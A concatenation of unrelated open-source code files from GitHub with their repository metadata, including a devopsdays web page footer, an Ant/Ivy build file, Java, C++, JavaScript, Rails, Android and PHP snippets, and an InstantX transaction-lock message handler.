</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://www.dynatrace.com/"><img src = "/img/sponsors/dynatrace.png" alt = "Dynatrace" title = "Dynatrace" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.xmatters.com/"><img src = "/img/sponsors/xmatters.png" alt = "xMatters, Inc" title = "xMatters, Inc" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.elastic.co"><img src = "/img/sponsors/elastic.png" alt = "Elastic" title = "Elastic" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Silver Sponsors</h4><a href = "/events/2018-denver/sponsor" class="sponsor-cta"><i>Join as Silver Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.releaseteam.com"><img src = "/img/sponsors/releaseteam_qa.png" alt = "Release Team/QASymphony" title = "Release Team/QASymphony" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.dome9.com/"><img src = "/img/sponsors/dome9.png" alt = "Dome9" title = "Dome9" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.xero.com/"><img src = "/img/sponsors/xero.png" alt = "Xero" title = "Xero" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://www.asynchrony.com/"><img src = "/img/sponsors/wwt_asynchrony_labs.png" alt = "WWT Asynchrony Labs" title = "WWT Asynchrony Labs" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://logz.io/"><img src = "/img/sponsors/logzio.png" alt = "logz.io" title = "logz.io" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.arista.com/"><img src = "/img/sponsors/arista.png" alt = "Arista" title = "Arista" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Bronze Sponsors</h4><a href = "/events/2018-denver/sponsor" class="sponsor-cta"><i>Join as Bronze Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.gtri.com/"><img src = "/img/sponsors/gtri.png" alt = "GTRI" title = "GTRI" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.confluent.io/"><img src = "/img/sponsors/confluent.png" alt = "Confluent" title = "Confluent" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.sendgrid.com/"><img src = "/img/sponsors/sendgrid.png" alt = "sendgrid" title = "sendgrid" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.craftsy.com/"><img src = "/img/sponsors/craftsy.png" alt = "Craftsy" title = "Craftsy" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Ancillary Sponsors</h4><a href = "/events/2018-denver/sponsor" class="sponsor-cta"><i>Join as Ancillary Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.waffle.io/"><img src = "/img/sponsors/waffleio.png" alt = "Waffle.io" title = "Waffle.io" class="img-fluid"></a>
</div></div><br />
</div></div>
</div>
<nav class="navbar bottom navbar-light footer-nav-row" style="background-color: #bfbfc1;">
<div class = "row">
<div class = "col-md-12 footer-nav-background">
<div class = "row">
<div class = "col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">@DEVOPSDAYS</h3>
<div>
<a class="twitter-timeline" data-dnt="true" href="https://twitter.com/devopsdays/lists/devopsdays" data-chrome="noheader" height="440"></a>
<script>
! function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0],
p = /^http:/.test(d.location) ? 'http' : 'https';
if (!d.getElementById(id)) {
js = d.createElement(s);
js.id = id;
js.src = p + "://platform.twitter.com/widgets.js";
fjs.parentNode.insertBefore(js, fjs);
}
}(document, "script", "twitter-wjs");
</script>
</div>
</div>
<div class="col-md-6 col-lg-3 footer-nav-col footer-content">
<h3 class="footer-nav">BLOG</h3><a href = "https://www.devopsdays.org/blog/2019/05/10/10-years-of-devopsdays/"><h1 class = "footer-heading">10 years of devopsdays</h1></a><h2 class="footer-heading">by Kris Buytaert - 10 May, 2019</h2><p class="footer-content">It’s hard to believe but it is almost 10 years ago since #devopsdays happened for the first time in Gent. Back then there were almost 70 of us talking about topics that were of interest to both Operations and Development, we were exchanging our ideas and experiences `on how we were improving the quality of software delivery.
Our ideas got started on the crossroads of Open Source, Agile and early Cloud Adoption.</p><a href = "https://www.devopsdays.org/blog/"><h1 class = "footer-heading">Blogs</h1></a><h2 class="footer-heading">10 May, 2019</h2><p class="footer-content"></p><a href="https://www.devopsdays.org/blog/index.xml">Feed</a>
</div>
<div class="col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">CFP OPEN</h3><a href = "/events/2019-campinas" class = "footer-content">Campinas</a><br /><a href = "/events/2019-macapa" class = "footer-content">Macapá</a><br /><a href = "/events/2019-shanghai" class = "footer-content">Shanghai</a><br /><a href = "/events/2019-recife" class = "footer-content">Recife</a><br /><a href = "/events/2020-charlotte" class = "footer-content">Charlotte</a><br /><a href = "/events/2020-prague" class = "footer-content">Prague</a><br /><a href = "/events/2020-tokyo" class = "footer-content">Tokyo</a><br /><a href = "/events/2020-salt-lake-city" class = "footer-content">Salt Lake City</a><br />
<br />Propose a talk at an event near you!<br />
</div>
<div class="col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">About</h3>
devopsdays is a worldwide community conference series for anyone interested in IT improvement.<br /><br />
<a href="/about/" class = "footer-content">About devopsdays</a><br />
<a href="/privacy/" class = "footer-content">Privacy Policy</a><br />
<a href="/conduct/" class = "footer-content">Code of Conduct</a>
<br />
<br />
<a href="https://www.netlify.com">
<img src="/img/netlify-light.png" alt="Deploys by Netlify">
</a>
</div>
</div>
</div>
</div>
</nav>
<script>
$(document).ready(function () {
$("#share").jsSocials({
shares: ["email", {share: "twitter", via: 'devopsdaysrox'}, "facebook", "linkedin"],
text: 'devopsdays Denver - %!s(int=2018)',
showLabel: false,
showCount: false
});
});
</script>
</body>
</html>
| {
"content_hash": "56679b4cdcde2861adb4b6f127904b65",
"timestamp": "",
"source": "github",
"line_count": 249,
"max_line_length": 723,
"avg_line_length": 78.44578313253012,
"alnum_prop": 0.6478267547227768,
"repo_name": "gomex/devopsdays-web",
"id": "6dad832a50471f65741c951fb9281ef880182a61",
"size": "19534",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "static/events/2018-denver/program/james-bowes/index.html",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "1568"
},
{
"name": "HTML",
"bytes": "1937025"
},
{
"name": "JavaScript",
"bytes": "14313"
},
{
"name": "PowerShell",
"bytes": "291"
},
{
"name": "Ruby",
"bytes": "650"
},
{
"name": "Shell",
"bytes": "12282"
}
],
"symlink_target": ""
} |
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
<project name="filter-framework" default="publish" xmlns:ivy="antlib:org.apache.ivy.ant">
<!-- some variables used -->
<property name="lib.dir" value="lib" />
<property name="build.dir" value="build" />
<property name="distrib.dir" location="distrib" />
<property name="src.dir" value="src" />
<property name="test.dir" value="test" />
<property name="build.test.dir" value="${build.dir}/test-classes" />
<property name="report.test.dir" value="${build.dir}/test-report" />
<property name="revision" value="1.3" />
<property name="ivy.local.default.root" location="${user.home}/.ivy2/local"/>
<!-- paths used for compilation and run -->
<path id="compile.path.id">
<fileset dir="${lib.dir}/cc-impl" />
</path>
<path id="test.path.id">
<path location="${build.dir}" />
<path location="${build.test.dir}" />
<fileset dir="${lib.dir}/test" />
</path>
<!-- =================================
target: resolve
================================= -->
<target name="resolve" description="--> retreive dependencies with ivy">
<!-- conf="*" will copie artifacts defined for each conf in a dir matching conf name -->
<ivy:retrieve pattern="${ivy.lib.dir}/[conf]/[artifact]-[revision].[ext]"/>
</target>
<!-- =================================
target: build
================================= -->
<target name="build" depends="clean, resolve" description="--> compile and jar project">
<mkdir dir="${build.dir}" />
<mkdir dir="${distrib.dir}"/>
<javac srcdir="${src.dir}" destdir="${build.dir}" classpathref="compile.path.id" includeAntRuntime="false"/>
<jar destfile="${distrib.dir}/filter-api.jar" >
<fileset dir="${build.dir}">
<include name="filter/*.class"/>
</fileset>
</jar>
<jar destfile="${distrib.dir}/filter-hmimpl.jar" >
<fileset dir="${build.dir}">
<include name="filter/hmimpl/*.class"/>
</fileset>
</jar>
<jar destfile="${distrib.dir}/filter-ccimpl.jar" >
<fileset dir="${build.dir}">
<include name="filter/ccimpl/*.class"/>
</fileset>
</jar>
</target>
<!-- =================================
target: test
================================= -->
<target name="test" depends="build" description="--> compile and test the project">
<mkdir dir="${report.test.dir}"/>
<mkdir dir="${build.test.dir}"/>
<javac srcdir="${test.dir}" destdir="${build.test.dir}" classpathref="test.path.id"/>
<junit printsummary="yes" fork="yes" haltonfailure="yes" >
<classpath refid="test.path.id"/>
<formatter type="plain"/>
<batchtest todir="${report.test.dir}" >
<fileset dir="${build.test.dir}">
<include name="**/**Test.*"/>
</fileset>
</batchtest>
</junit>
</target>
<!-- =================================
target: publish
================================= -->
<target name="publish" depends="test" description="--> compile test and publish this project in the local ivy repository">
<property name="revision" value="${revision}"/>
<ivy:publish artifactspattern="${distrib.dir}/[artifact].[ext]"
resolver="local"
pubrevision="${revision}"
status="release"/>
<echo message="project ${ant.project.name} released with version ${revision}" />
</target>
<!-- =================================
target: clean
================================= -->
<target name="clean" description="--> clean the project">
<delete includeemptydirs="true">
<fileset dir="${basedir}">
<exclude name="src/**" />
<exclude name="test/**" />
<exclude name="build.xml" />
<exclude name="ivy.xml" />
<exclude name=".*" />
</fileset>
</delete>
</target>
<!-- =================================
target: clean-cache
================================= -->
<target name="clean-cache" description="--> clean the ivy cache">
<ivy:cleancache />
</target>
<!-- =================================
target: clean-local
================================= -->
<target name="clean-local" description="--> clean the local user repository">
<delete dir="${ivy.local.default.root}"/>
</target>
<!-- =================================
target: report
================================= -->
<target name="report" depends="resolve" description="--> generates a report of dependencies">
<ivy:report todir="${build.dir}"/>
</target>
</project>
| {
"content_hash": "377eb74f1d099af44f4a407f1129aa9c",
"timestamp": "",
"source": "github",
"line_count": 140,
"max_line_length": 126,
"avg_line_length": 40.292857142857144,
"alnum_prop": 0.5259705725935118,
"repo_name": "pantsbuild/ivy",
"id": "566f011cb5d0161dbad8f27bb888dd454d2e2b5d",
"size": "5641",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "src/example/configurations/multi-projects/filter-framework/build.xml",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "11624"
},
{
"name": "Java",
"bytes": "4070711"
},
{
"name": "JavaScript",
"bytes": "7595"
},
{
"name": "XSLT",
"bytes": "82079"
}
],
"symlink_target": ""
} |
#ifdef WX_PRECOMP
#include "wx_pch.h"
#endif
#include "stdafx.h"
#include "WTFortuneApp.h"
#include "WTFortuneMain.h"
IMPLEMENT_APP(WTFortuneApp);
bool WTFortuneApp::OnInit()
{
WTFortuneDialog* dlg = new WTFortuneDialog(0L);
dlg->SetIcon(wxICON(WTFish)); // To Set App Icon
dlg->Show();
return true;
}
| {
"content_hash": "1f10f0f8a36c69f729e2a17ded982b19",
"timestamp": "",
"source": "github",
"line_count": 19,
"max_line_length": 52,
"avg_line_length": 18,
"alnum_prop": 0.6491228070175439,
"repo_name": "vvps/WTFortune",
"id": "8bc8976a8febec677fbd2d5323e3b246019b0cbe",
"size": "342",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "WTFortuneApp.cpp",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "1276"
},
{
"name": "C++",
"bytes": "8050"
},
{
"name": "Perl",
"bytes": "4283577"
},
{
"name": "Prolog",
"bytes": "16"
}
],
"symlink_target": ""
} |
/*
* This file is part of the Wayback archival access software
* (http://archive-access.sourceforge.net/projects/wayback/).
*
* Licensed to the Internet Archive (IA) by one or more individual
* contributors.
*
* The IA licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.archive.wayback.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class IPRange {
// STATIC MEMBERS:
private final static Pattern IP_PATTERN =
Pattern.compile("(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)");
private final static Pattern IP_MASK_PATTERN =
Pattern.compile("(\\d+\\.\\d+\\.\\d+\\.\\d+)/(\\d+)");
private final static byte[] FULL_MASK =
{(byte)0xff,(byte)0xff,(byte)0xff,(byte)0xff};
private final static byte[] flags = {
(byte) 0x80,
(byte) 0x40,
(byte) 0x20,
(byte) 0x10,
(byte) 0x08,
(byte) 0x04,
(byte) 0x02,
(byte) 0x01,
};
// INSTANCE MEMBERS:
private byte[] ip = null;
private byte[] mask = null;
private String original = null;
// INSTANCE METHODS:
public byte[] getIp() {
return ip;
}
public byte[] getMask() {
return mask;
}
public boolean contains(String ipString) {
byte[] testIP = matchIP(ipString);
if(testIP == null) {
return false;
}
return contains(testIP);
}
public boolean contains(byte[] testIP) {
byte[] masked = and(testIP,mask);
return equals(ip,masked);
}
public String getRangeString() {
return null;
}
public void setRangeString(String range) {
setRange(range);
}
public String getOriginal() {
return original;
}
public boolean setRange(String range) {
original = range;
Matcher m = IP_MASK_PATTERN.matcher(range);
if(m != null) {
if(m.matches()) {
return setRangeMask(m.group(1),m.group(2));
}
}
return setRangeIP(range);
}
// PRIVATE INSTANCE METHODS:
private boolean setRangeMask(String ipString, String maskBitsString) {
byte[] tmpMask = maskBits(maskBitsString);
if(tmpMask != null) {
if(setRangeIP(ipString)) {
mask = tmpMask;
ip = and(ip,mask);
return true;
}
}
return false;
}
private boolean setRangeIP(String ipString) {
byte[] tmpIp = matchIP(ipString);
if(tmpIp != null) {
ip = tmpIp;
mask = FULL_MASK;
return true;
}
return false;
}
// STATIC METHODS:
public static byte[] maskBits(String bitsString) {
try {
int bits = Integer.parseInt(bitsString);
return maskBits(bits);
} catch(NumberFormatException e) {
e.printStackTrace();
}
return null;
}
public static byte[] maskBits(int bits) {
byte[] res = new byte[4];
if(bits < 0) {
return null;
}
if(bits > 32) {
return null;
}
for(int i=0; i < 4; i++) {
int startBit = 8 * i;
int endBit = 8 * (i+1);
if(bits < startBit) {
res[i] = (byte)0x00;
} else if(bits >= endBit) {
res[i] = (byte)0xff;
} else {
int numOn = bits - startBit;
int val = 0x00;
for(int j=0; j < numOn; j++) {
val |= flags[j];
}
res[i] = (byte) val;
}
}
return res;
}
public static String bitString(byte b) {
StringBuilder sb = new StringBuilder(8);
for(int i=0; i<8; i++) {
sb.append(((b & flags[i])==0)?"0":"1");
}
return sb.toString();
}
public static byte[] and(byte b1[], byte b2[]) {
byte[] res = new byte[4];
for(int i=0; i<4; i++) {
res[i] = (byte) ((byte) b1[i] & (byte) b2[i]);
}
return res;
}
public static boolean equals(byte b1[], byte b2[]) {
for(int i=0; i<4; i++) {
if(b1[i] != b2[i]) {
return false;
}
}
return true;
}
public static boolean isOn(byte b, int pos) {
return (b & flags[pos]) != 0;
}
public static byte[] matchIP(String ip) {
Matcher m = IP_PATTERN.matcher(ip);
if(m != null) {
if(m.matches()) {
try {
byte[] res = new byte[4];
for(int i=0; i < 4; i++) {
int testInt = Integer.parseInt(m.group(i+1));
if(testInt < 0) {
return null;
}
if(testInt > 255) {
return null;
}
res[i] = (byte) testInt;
}
return res;
} catch(NumberFormatException e) {
e.printStackTrace();
return null;
}
}
}
return null;
}
}
| {
"content_hash": "1039c50d915264df5d66401fb7204519",
"timestamp": "",
"source": "github",
"line_count": 207,
"max_line_length": 76,
"avg_line_length": 22.56038647342995,
"alnum_prop": 0.6107066381156316,
"repo_name": "nlnwa/openwayback",
"id": "33d2a61e81005ea2088f2432a69dbc71616eb0da",
"size": "4670",
"binary": false,
"copies": "14",
"ref": "refs/heads/master",
"path": "wayback-core/src/main/java/org/archive/wayback/util/IPRange.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "12790"
},
{
"name": "HTML",
"bytes": "11603"
},
{
"name": "Java",
"bytes": "2684740"
},
{
"name": "JavaScript",
"bytes": "281782"
},
{
"name": "Perl",
"bytes": "1725"
},
{
"name": "Shell",
"bytes": "17028"
}
],
"symlink_target": ""
} |
import _ from 'lodash';
import parseKey from './key';
function parse(orderby) {
if (_.isNull(orderby) || _.isUndefined(orderby)) {
return ['ORDERBY', null];
}
if (_.isString(orderby) || _.isPlainObject(orderby)) {
orderby = [orderby];
}
const arr = orderby.map((e, i) => {
if (_.isString(e)) {
return ['ASC', parseKey(e)];
}
const keys = Object.keys(e);
if (keys.length === 0) {
throw new TypeError(`Invalid "orderby" argument; object at position ${i} cannot be empty`);
}
if (keys.length > 1) {
throw new TypeError(`Invalid "orderby" argument; object at position ${i} must contain exactly one property`);
}
const k = keys[0];
const v = e[k];
if (v !== 1 && v !== -1) {
throw new TypeError(`Invalid "orderby" argument; object at position ${i} must have a value of -1 or 1`);
}
return [v === 1 ? 'ASC' : 'DESC', parseKey(k)];
});
return ['ORDERBY'].concat(arr);
}
export default parse;
| {
"content_hash": "b885b4f3d8f335826a9eba9599bdac45",
"timestamp": "",
"source": "github",
"line_count": 41,
"max_line_length": 115,
"avg_line_length": 24.146341463414632,
"alnum_prop": 0.5777777777777777,
"repo_name": "jmike/naomi",
"id": "368187bdebc95823258c4b036b71563fe4010761",
"size": "990",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/queryparsers/orderBy.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "JavaScript",
"bytes": "257032"
}
],
"symlink_target": ""
} |
package me.lorenc.dreadlogs.captor.log4j;
import static org.hamcrest.Matchers.equalTo;
import org.apache.log4j.Level;
import org.hamcrest.Matcher;
import me.lorenc.dreadlogs.captor.LogExpectations;
public class Log4jMatchers {
private Log4jMatchers() {
}
public static Log4jHasLogMatcher hasLog(String expectedMessage) {
return (Log4jHasLogMatcher) new Log4jHasLogMatcher(new LogExpectations<Level>()).withMessage(equalTo(expectedMessage));
}
public static Log4jHasLogMatcher hasLog(Level expectedLevel, String expectedMessage) {
return (Log4jHasLogMatcher) hasLog(expectedMessage).onLevel(expectedLevel);
}
public static Log4jHasLogMatcher hasLog(Matcher<String> messageMatcher) {
return (Log4jHasLogMatcher) new Log4jHasLogMatcher(new LogExpectations<Level>()).withMessage(messageMatcher);
}
public static Log4jHasLogMatcher hasLog(Level expectedLevel, Matcher<String> messageMatcher) {
return (Log4jHasLogMatcher) hasLog(messageMatcher).onLevel(expectedLevel);
}
public static Log4jNoLogMatcher noLog(String unwantedMessage) {
return (Log4jNoLogMatcher) new Log4jNoLogMatcher(new LogExpectations<Level>()).withMessage(unwantedMessage);
}
public static Log4jNoLogMatcher noLog(Level level, String unwantedMessage) {
return (Log4jNoLogMatcher) noLog(unwantedMessage).onLevel(level);
}
public static Log4jNoLogMatcher noLog(Matcher<String> unwantedMessageMatcher) {
return (Log4jNoLogMatcher) new Log4jNoLogMatcher(new LogExpectations<Level>()).withMessage(unwantedMessageMatcher);
}
public static Log4jNoLogMatcher noLog(Level level, Matcher<String> unwantedMessageMatcher) {
return (Log4jNoLogMatcher) noLog(unwantedMessageMatcher).onLevel(level);
}
}
| {
"content_hash": "8f64169b38b0d504dfb5055d0c97e024",
"timestamp": "",
"source": "github",
"line_count": 47,
"max_line_length": 127,
"avg_line_length": 38.38297872340426,
"alnum_prop": 0.7677383592017738,
"repo_name": "d-lorenc/dread-logs",
"id": "761cda82e6950615f6fa89995d8ed16e84e18f2c",
"size": "1804",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/main/java/me/lorenc/dreadlogs/captor/log4j/Log4jMatchers.java",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Java",
"bytes": "150580"
}
],
"symlink_target": ""
} |
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="48dp"
android:background="@color/white">
<TextView
android:id="@+id/textView"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_marginLeft="15dp"
android:gravity="center_vertical|left"
android:text="bug"
android:textColor="@color/font_black_content"
android:textSize="16sp" />
<ImageView
android:id="@+id/icon"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
android:layout_centerVertical="true"
android:layout_marginRight="20dp"
android:padding="10dp"
android:src="@drawable/ic_topic_label_unchecked" />
</RelativeLayout> | {
"content_hash": "685101c6dcafe4664caaefa3eeae3c77",
"timestamp": "",
"source": "github",
"line_count": 26,
"max_line_length": 74,
"avg_line_length": 36.42307692307692,
"alnum_prop": 0.6589229144667371,
"repo_name": "linuxjava/CodingAndroid",
"id": "2dee1a9407b05489b922d813a09f5f4be264991e",
"size": "947",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "app/src/main/res/layout/activity_topic_label_item.xml",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Java",
"bytes": "1534870"
}
],
"symlink_target": ""
} |
class Comment < ActiveRecord::Base
validates :body, presence: true
validates :commenter, presence: true
validates :review, presence: true
belongs_to :commenter, class_name: "User"
belongs_to :review
has_many :ratings, as: :ratingable
end | {
"content_hash": "16288075557994b3bedcbf784a76d6c5",
"timestamp": "",
"source": "github",
"line_count": 12,
"max_line_length": 44,
"avg_line_length": 22.333333333333332,
"alnum_prop": 0.6902985074626866,
"repo_name": "ospreys-2014/LiveHub",
"id": "679f535257d22c68b093f84822cf5dc3b0c4e7b3",
"size": "268",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "app/models/comment.rb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "34753"
},
{
"name": "JavaScript",
"bytes": "1129"
},
{
"name": "Ruby",
"bytes": "55395"
}
],
"symlink_target": ""
} |
class LeftButton: public Button {
public:
LeftButton(byte attachToPin);
protected:
void shortClick();
void longClick();
};
#endif
| {
"content_hash": "b3918ff653f23ca809106607ae8ecec9",
"timestamp": "",
"source": "github",
"line_count": 20,
"max_line_length": 33,
"avg_line_length": 8.4,
"alnum_prop": 0.5892857142857143,
"repo_name": "PLSCO/Glowdeck_Firmware",
"id": "fd33d5edd2605ec5855cf6385c57d76e8b1a5599",
"size": "376",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "LeftButton.h",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Arduino",
"bytes": "76390"
},
{
"name": "C",
"bytes": "142631"
},
{
"name": "C++",
"bytes": "1315495"
},
{
"name": "Objective-C",
"bytes": "133976"
}
],
"symlink_target": ""
} |
/*******************************************************************************
ADC Peripheral Library Template Implementation
File Name:
adc_VoltageReference_Default.h
Summary:
ADC PLIB Template Implementation
Description:
This header file contains template implementations
For Feature : VoltageReference
and its Variant : Default
For following APIs :
PLIB_ADC_VoltageReferenceSelect
PLIB_ADC_ExistsVoltageReference
*******************************************************************************/
//DOM-IGNORE-BEGIN
/*******************************************************************************
Copyright (c) 2012 released Microchip Technology Inc. All rights reserved.
Microchip licenses to you the right to use, modify, copy and distribute
Software only when embedded on a Microchip microcontroller or digital signal
controller that is integrated into your product or third party product
(pursuant to the sublicense terms in the accompanying license agreement).
You should refer to the license agreement accompanying this Software for
additional information regarding your rights and obligations.
SOFTWARE AND DOCUMENTATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF
MERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
IN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER
CONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR
OTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES
INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT, PUNITIVE OR
CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF
SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, OR ANY CLAIMS BY THIRD PARTIES
(INCLUDING BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.
*******************************************************************************/
//DOM-IGNORE-END
#ifndef _ADC_VOLTAGEREFERENCE_DEFAULT_H
#define _ADC_VOLTAGEREFERENCE_DEFAULT_H
#include "adc_registers.h"
//******************************************************************************
/* Function : ADC_VoltageReferenceSelect_Default
Summary:
Implements Default variant of PLIB_ADC_VoltageReferenceSelect
Description:
This template implements the Default variant of the PLIB_ADC_VoltageReferenceSelect function.
*/
PLIB_TEMPLATE void ADC_VoltageReferenceSelect_Default( ADC_MODULE_ID index , ADC_VOLTAGE_REFERENCE configValue )
{
volatile adc_registers_t * adc = (adc_registers_t *) index;
adc->AD1CON2.VCFG = configValue;
}
//******************************************************************************
/* Function : ADC_ExistsVoltageReference_Default
Summary:
Implements Default variant of PLIB_ADC_ExistsVoltageReference
Description:
This template implements the Default variant of the PLIB_ADC_ExistsVoltageReference function.
*/
#define PLIB_ADC_ExistsVoltageReference PLIB_ADC_ExistsVoltageReference
PLIB_TEMPLATE bool ADC_ExistsVoltageReference_Default( ADC_MODULE_ID index )
{
return true;
}
#endif /*_ADC_VOLTAGEREFERENCE_DEFAULT_H*/
/******************************************************************************
End of File
*/
| {
"content_hash": "388f4f0cae5010c0b04e3c70f1b4c8b9",
"timestamp": "",
"source": "github",
"line_count": 90,
"max_line_length": 112,
"avg_line_length": 36.71111111111111,
"alnum_prop": 0.6555690072639225,
"repo_name": "mzeitler/openstrom",
"id": "f2a16418e2bc1690ac3730757f279b676dd07bba",
"size": "3304",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "firmware/prototype - final/firmware/src/system_config/default/framework/peripheral/adc/templates/adc_VoltageReference_Default.h",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "17409552"
},
{
"name": "C++",
"bytes": "1262455"
},
{
"name": "HTML",
"bytes": "76613"
},
{
"name": "Makefile",
"bytes": "5306179"
},
{
"name": "Objective-C",
"bytes": "266670"
},
{
"name": "Shell",
"bytes": "25188"
}
],
"symlink_target": ""
} |
using namespace std;
using namespace boost;
//txlock - Locks transaction
//
//step 1.) Broadcast intention to lock transaction inputs, "txlreg", CTransaction
//step 2.) Top 10 masternodes, open connect to top 1 masternode. Send "txvote", CTransaction, Signature, Approve
//step 3.) Top 1 masternode, waits for 10 messages. Upon success, sends "txlock'
void ProcessMessageInstantX(CNode* pfrom, std::string& strCommand, CDataStream& vRecv)
{
if (strCommand == "txlreq")
{
printf("ProcessMessageInstantX::txlreq\n");
CDataStream vMsg(vRecv);
CTransaction tx;
vRecv >> tx;
CInv inv(MSG_TXLOCK_REQUEST, tx.GetHash());
pfrom->AddInventoryKnown(inv);
bool fMissingInputs = false;
CValidationState state;
if (tx.AcceptToMemoryPool(state, true, true, &fMissingInputs))
{
RelayTransactionLockReq(tx, inv.hash);
printf("ProcessMessageInstantX::txlreq - Transaction Lock Request: %s %s : accepted %s\n",
pfrom->addr.ToString().c_str(), pfrom->cleanSubVer.c_str(),
tx.GetHash().ToString().c_str()
);
return;
}
}
}
| {
"content_hash": "e9f2729df73f9ec325c9294e946629a6",
"timestamp": "",
"source": "github",
"line_count": 37,
"max_line_length": 112,
"avg_line_length": 31.89189189189189,
"alnum_prop": 0.635593220338983,
"repo_name": "Bitcoinlover123/siliconcoin",
"id": "77cc0aee2836b754ff54a42449588fb56a2d0b9c",
"size": "1435",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/instantx.cpp",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "761336"
},
{
"name": "C++",
"bytes": "2815404"
},
{
"name": "CSS",
"bytes": "1127"
},
{
"name": "Makefile",
"bytes": "885"
},
{
"name": "Objective-C++",
"bytes": "5864"
},
{
"name": "Python",
"bytes": "71904"
},
{
"name": "Shell",
"bytes": "9770"
},
{
"name": "TypeScript",
"bytes": "5236293"
}
],
"symlink_target": ""
} |
<?php
namespace HWI\Bundle\OAuthBundle\Tests\OAuth\ResourceOwner;
use HWI\Bundle\OAuthBundle\OAuth\ResourceOwner\SinaWeiboResourceOwner;
class SinaWeiboResourceOwnerTest extends GenericOAuth2ResourceOwnerTest
{
protected $userResponse = <<<json
{
"id": "1",
"screen_name": "bar",
"profile_image_url": "http://tp1.sinaimg.cn/1404376560/50/0/1"
}
json;
protected $paths = array(
'identifier' => 'id',
'nickname' => 'screen_name',
